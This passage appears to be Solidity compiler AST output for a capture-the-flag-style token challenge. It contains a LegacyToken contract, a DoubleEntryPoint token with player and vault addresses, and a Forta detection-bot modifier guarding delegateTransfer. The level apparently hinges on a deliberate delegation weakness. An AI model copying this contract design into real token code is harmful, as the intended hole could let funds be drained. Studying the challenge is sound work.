(bool)"}},"id":51705,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2420:25:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":51691,"id":51706,"nodeType":"Return","src":"2413:32:71"}]}}]},"baseFunctions":[47399],"functionSelector":"a9059cbb","implemented":true,"kind":"function","modifiers":[],"name":"transfer","nameLocation":"2285:8:71","overrides":{"id":51688,"nodeType":"OverrideSpecifier","overrides":[],"src":"2328:8:71"},"parameters":{"id":51687,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51684,"mutability":"mutable","name":"to","nameLocation":"2302:2:71","nodeType":"VariableDeclaration","scope":51719,"src":"2294:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51683,"name":"address","nodeType":"ElementaryTypeName","src":"2294:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51686,"mutability":"mutable","name":"value","nameLocation":"2314:5:71","nodeType":"VariableDeclaration","scope":51719,"src":"2306:13:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51685,"name":"uint256","nodeType":"ElementaryTypeName","src":"2306:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2293:27:71"},"returnParameters":{"id":51691,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51690,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51719,"src":"2346:4:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51689,"name":"bool","nodeType":"ElementaryTypeName","src":"2346:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"2345:6:71"},"scope":51720,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"arguments":[{"hexValue":"4c6567616379546f6b656e","id":51647,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1984:13:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_0ee2e886d48b449eae8c58f774e5f0080cabd01bbf86d262bcecfd0ead310326","typeString":"literal_string \"LegacyToken\""},"value":"LegacyToken"},{"hexValue":"4c4754","id":51648,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1999:5:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_40ef642736e132b36c3ad2894c4d80ce0afe649c34017ca8cb01deee50079ab7","typeString":"literal_string \"LGT\""},"value":"LGT"}],"baseName":{"id":51646,"name":"ERC20","nameLocations":["1978:5:71"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"1978:5:71"},"id":51649,"nodeType":"InheritanceSpecifier","src":"1978:27:71"},{"baseName":{"id":51650,"name":"Ownable","nameLocations":["2007:7:71"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"2007:7:71"},"id":51651,"nodeType":"InheritanceSpecifier","src":"2007:7:71"}],"canonicalName":"LegacyToken","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51720,46700,47861,47964,47939,48281],"name":"LegacyToken","nameLocation":"1963:11:71","scope":51851,"usedErrors":[],"usedEvents":[46601,47873,47882]},{"id":51850,"nodeType":"ContractDefinition","src":"2552:1365:71","nodes":[{"id":51730,"nodeType":"VariableDeclaration","src":"2649:26:71","nodes":[],"constant":false,"functionSelector":"d444d8a0","mutability":"mutable","name":"cryptoVault","nameLocation":"2664:11:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51729,"name":"address","nodeType":"ElementaryTypeName","src":"2649:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51732,"nodeType":"VariableDeclaration","src":"2681:21:71","nodes":[],"constant":false,"functionSelector":"48db5f89","mutability":"mutable","name":"player","nameLocation":"2696:6:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51731,"name":"address","nodeType":"ElementaryTypeName","src":"2681:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51734,"nodeType":"VariableDeclaration","src":"2708:28:71","nodes":[],"constant":false,"functionSelector":"26fe9951","mutability":"mutable","name":"delegatedFrom","nameLocation":"2723:13:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51733,"name":"address","nodeType":"ElementaryTypeName","src":"2708:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51737,"nodeType":"VariableDeclaration","src":"2742:18:71","nodes":[],"constant":false,"functionSelector":"d8670e1f","mutability":"mutable","name":"forta","nameLocation":"2755:5:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"},"typeName":{"id":51736,"nodeType":"UserDefinedTypeName","pathNode":{"id":51735,"name":"Forta","nameLocations":["2742:5:71"],"nodeType":"IdentifierPath","referencedDeclaration":51577,"src":"2742:5:71"},"referencedDeclaration":51577,"src":"2742:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"visibility":"public"},{"id":51772,"nodeType":"FunctionDefinition","src":"2767:288:71","nodes":[],"body":{"id":51771,"nodeType":"Block","src":"2867:188:71","nodes":[],"statements":[{"expression":{"id":51750,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51748,"name":"delegatedFrom","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51734,"src":"2877:13:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51749,"name":"legacyToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51739,"src":"2893:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2877:27:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51751,"nodeType":"ExpressionStatement","src":"2877:27:71"},{"expression":{"id":51756,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51752,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"2914:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":51754,"name":"fortaAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51743,"src":"2928:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51753,"name":"Forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51577,"src":"2922:5:71","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Forta_$51577_$","typeString":"type(contract Forta)"}},"id":51755,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2922:19:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"src":"2914:27:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51757,"nodeType":"ExpressionStatement","src":"2914:27:71"},{"expression":{"id":51760,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51758,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51732,"src":"2951:6:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51759,"name":"playerAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51745,"src":"2960:13:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2951:22:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51761,"nodeType":"ExpressionStatement","src":"2951:22:71"},{"expression":{"id":51764,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51762,"name":"cryptoVault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51730,"src":"2983:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51763,"name":"vaultAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51741,"src":"2997:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2983:26:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51765,"nodeType":"ExpressionStatement","src":"2983:26:71"},{"expression":{"arguments":[{"id":51767,"name":"cryptoVault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51730,"src":"3025:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"313030","id":51768,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3038:9:71","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_100000000000000000000_by_1","typeString":"int_const 100000000000000000000"},"value":"100"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_100000000000000000000_by_1","typeString":"int_const 100000000000000000000"}],"id":51766,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47678,"src":"3019:5:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":51769,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3019:29:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51770,"nodeType":"ExpressionStatement","src":"3019:29:71"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":51746,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51739,"mutability":"mutable","name":"legacyToken","nameLocation":"2787:11:71","nodeType":"VariableDeclaration","scope":51772,"src":"2779:19:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51738,"name":"address","nodeType":"ElementaryTypeName","src":"2779:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51741,"mutability":"mutable","name":"vaultAddress","nameLocation":"2808:12:71","nodeType":"VariableDeclaration","scope":51772,"src":"2800:20:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51740,"name":"address","nodeType":"ElementaryTypeName","src":"2800:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51743,"mutability":"mutable","name":"fortaAddress","nameLocation":"2830:12:71","nodeType":"VariableDeclaration","scope":51772,"src":"2822:20:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51742,"name":"address","nodeType":"ElementaryTypeName","src":"2822:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51745,"mutability":"mutable","name":"playerAddress","nameLocation":"2852:13:71","nodeType":"VariableDeclaration","scope":51772,"src":"2844:21:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51744,"name":"address","nodeType":"ElementaryTypeName","src":"2844:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2778:88:71"},"returnParameters":{"id":51747,"nodeType":"ParameterList","parameters":[],"src":"2867:0:71"},"scope":51850,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51784,"nodeType":"ModifierDefinition","src":"3061:115:71","nodes":[],"body":{"id":51783,"nodeType":"Block","src":"3089:87:71","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51778,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":51775,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3107:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51776,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3111:6:71","memberName":"sender","nodeType":"MemberAccess","src":"3107:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":51777,"name":"delegatedFrom","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51734,"src":"3121:13:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3107:27:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f74206c656761637920636f6e7472616374","id":51779,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3136:21:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_d53c3dd2b8b8bbdc39671c54443b1e626049f3606ea5f078539eb33f51f6c68f","typeString":"literal_string \"Not legacy contract\""},"value":"Not legacy contract"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_d53c3dd2b8b8bbdc39671c54443b1e626049f3606ea5f078539eb33f51f6c68f","typeString":"literal_string \"Not legacy contract\""}],"id":51774,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3099:7:71","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51780,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3099:59:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51781,"nodeType":"ExpressionStatement","src":"3099:59:71"},{"id":51782,"nodeType":"PlaceholderStatement","src":"3168:1:71"}]},"name":"onlyDelegateFrom","nameLocation":"3070:16:71","parameters":{"id":51773,"nodeType":"ParameterList","parameters":[],"src":"3086:2:71"},"virtual":false,"visibility":"internal"},{"id":51824,"nodeType":"ModifierDefinition","src":"3182:480:71","nodes":[],"body":{"id":51823,"nodeType":"Block","src":"3205:457:71","nodes":[],"statements":[{"assignments":[51787],"declarations":[{"constant":false,"id":51787,"mutability":"mutable","name":"detectionBot","nameLocation":"3223:12:71","nodeType":"VariableDeclaration","scope":51823,"src":"3215:20:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51786,"name":"address","nodeType":"ElementaryTypeName","src":"3215:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":51795,"initialValue":{"arguments":[{"arguments":[{"id":51792,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51732,"src":"3271:6:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51790,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3246:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51791,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3252:18:71","memberName":"usersDetectionBots","nodeType":"MemberAccess","referencedDeclaration":51496,"src":"3246:24:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_contract$_IDetectionBot_$51471_$","typeString":"function (address) view external returns (contract IDetectionBot)"}},"id":51793,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3246:32:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}],"id":51789,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3238:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51788,"name":"address","nodeType":"ElementaryTypeName","src":"3238:7:71","typeDescriptions":{}}},"id":51794,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3238:41:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"3215:64:71"},{"assignments":[51797],"declarations":[{"constant":false,"id":51797,"mutability":"mutable","name":"previousValue","nameLocation":"3340:13:71","nodeType":"VariableDeclaration","scope":51823,"src":"3332:21:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51796,"name":"uint256","nodeType":"ElementaryTypeName","src":"3332:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":51802,"initialValue":{"arguments":[{"id":51800,"name":"detectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51787,"src":"3378:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51798,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3356:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51799,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3362:15:71","memberName":"botRaisedAlerts","nodeType":"MemberAccess","referencedDeclaration":51500,"src":"3356:21:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51801,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3356:35:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"3332:59:71"},{"expression":{"arguments":[{"id":51806,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51732,"src":"3439:6:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"expression":{"id":51807,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3447:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51808,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3451:4:71","memberName":"data","nodeType":"MemberAccess","src":"3447:8:71","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}],"expression":{"id":51803,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3426:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51805,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3432:6:71","memberName":"notify","nodeType":"MemberAccess","referencedDeclaration":51551,"src":"3426:12:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) external"}},"id":51809,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3426:30:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51810,"nodeType":"ExpressionStatement","src":"3426:30:71"},{"id":51811,"nodeType":"PlaceholderStatement","src":"3497:1:71"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":51817,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51814,"name":"detectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51787,"src":"3579:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51812,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3557:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51813,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3563:15:71","memberName":"botRaisedAlerts","nodeType":"MemberAccess","referencedDeclaration":51500,"src":"3557:21:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51815,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3557:35:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"id":51816,"name":"previousValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51797,"src":"3595:13:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3557:51:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51822,"nodeType":"IfStatement","src":"3553:102:71","trueBody":{"expression":{"arguments":[{"hexValue":"416c65727420686173206265656e207472696767657265642c20726576657274696e67","id":51819,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3617:37:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_3ae8a2daecdbfc253037824392ddaa1876273cf31b918ffb36463f6dc821c120","typeString":"literal_string \"Alert has been triggered, reverting\""},"value":"Alert has been triggered, reverting"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3ae8a2daecdbfc253037824392ddaa1876273cf31b918ffb36463f6dc821c120","typeString":"literal_string \"Alert has been triggered, reverting\""}],"id":51818,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"3610:6:71","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":51820,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3610:45:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51821,"nodeType":"ExpressionStatement","src":"3610:45:71"}}]},"name":"fortaNotify","nameLocation":"3191:11:71","parameters":{"id":51785,"nodeType":"ParameterList","parameters":[],"src":"3202:2:71"},"virtual":false,"visibility":"internal"},{"id":51849,"nodeType":"FunctionDefinition","src":"3668:247:71","nodes":[],"body":{"id":51848,"nodeType":"Block","src":"3845:70:71","nodes":[],"statements":[{"expression":{"arguments":[{"id":51841,"name":"origSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51830,"src":"3865:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51842,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51826,"src":"3877:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51843,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51828,"src":"3881:5:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":51840,"name":"_transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47622,"src":"3855:9:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":51844,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3855:32:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51845,"nodeType":"ExpressionStatement","src":"3855:32:71"},{"expression":{"hexValue":"74727565","id":51846,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3904:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":51839,"id":51847,"nodeType":"Return","src":"3897:11:71"}]},"baseFunctions":[51462],"functionSelector":"9cd1a121","implemented":true,"kind":"function","modifiers":[{"id":51834,"kind":"modifierInvocation","modifierName":{"id":51833,"name":"onlyDelegateFrom","nameLocations":["3781:16:71"],"nodeType":"IdentifierPath","referencedDeclaration":51784,"src":"3781:16:71"},"nodeType":"ModifierInvocation","src":"3781:16:71"},{"id":51836,"kind":"modifierInvocation","modifierName":{"id":51835,"name":"fortaNotify","nameLocations":["3806:11:71"],"nodeType":"IdentifierPath","referencedDeclaration":51824,"src":"3806:11:71"},"nodeType":"ModifierInvocation","src":"3806:11:71"}],"name":"delegateTransfer","nameLocation":"3677:16:71","overrides":{"id":51832,"nodeType":"OverrideSpecifier","overrides":[],"src":"3764:8:71"},"parameters":{"id":51831,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51826,"mutability":"mutable","name":"to","nameLocation":"3702:2:71","nodeType":"VariableDeclaration","scope":51849,"src":"3694:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51825,"name":"address","nodeType":"ElementaryTypeName","src":"3694:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51828,"mutability":"mutable","name":"value","nameLocation":"3714:5:71","nodeType":"VariableDeclaration","scope":51849,"src":"3706:13:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51827,"name":"uint256","nodeType":"ElementaryTypeName","src":"3706:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":51830,"mutability":"mutable","name":"origSender","nameLocation":"3729:10:71","nodeType":"VariableDeclaration","scope":51849,"src":"3721:18:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51829,"name":"address","nodeType":"ElementaryTypeName","src":"3721:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"3693:47:71"},"returnParameters":{"id":51839,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51838,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51849,"src":"3835:4:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51837,"name":"bool","nodeType":"ElementaryTypeName","src":"3835:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"3834:6:71"},"scope":51850,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"arguments":[{"hexValue":"446f75626c65456e747279506f696e74546f6b656e","id":51722,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2587:23:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_acd02697b9842d4d6df3ca155d849bd2482081e76cdcc10837c68f4b739e609c","typeString":"literal_string 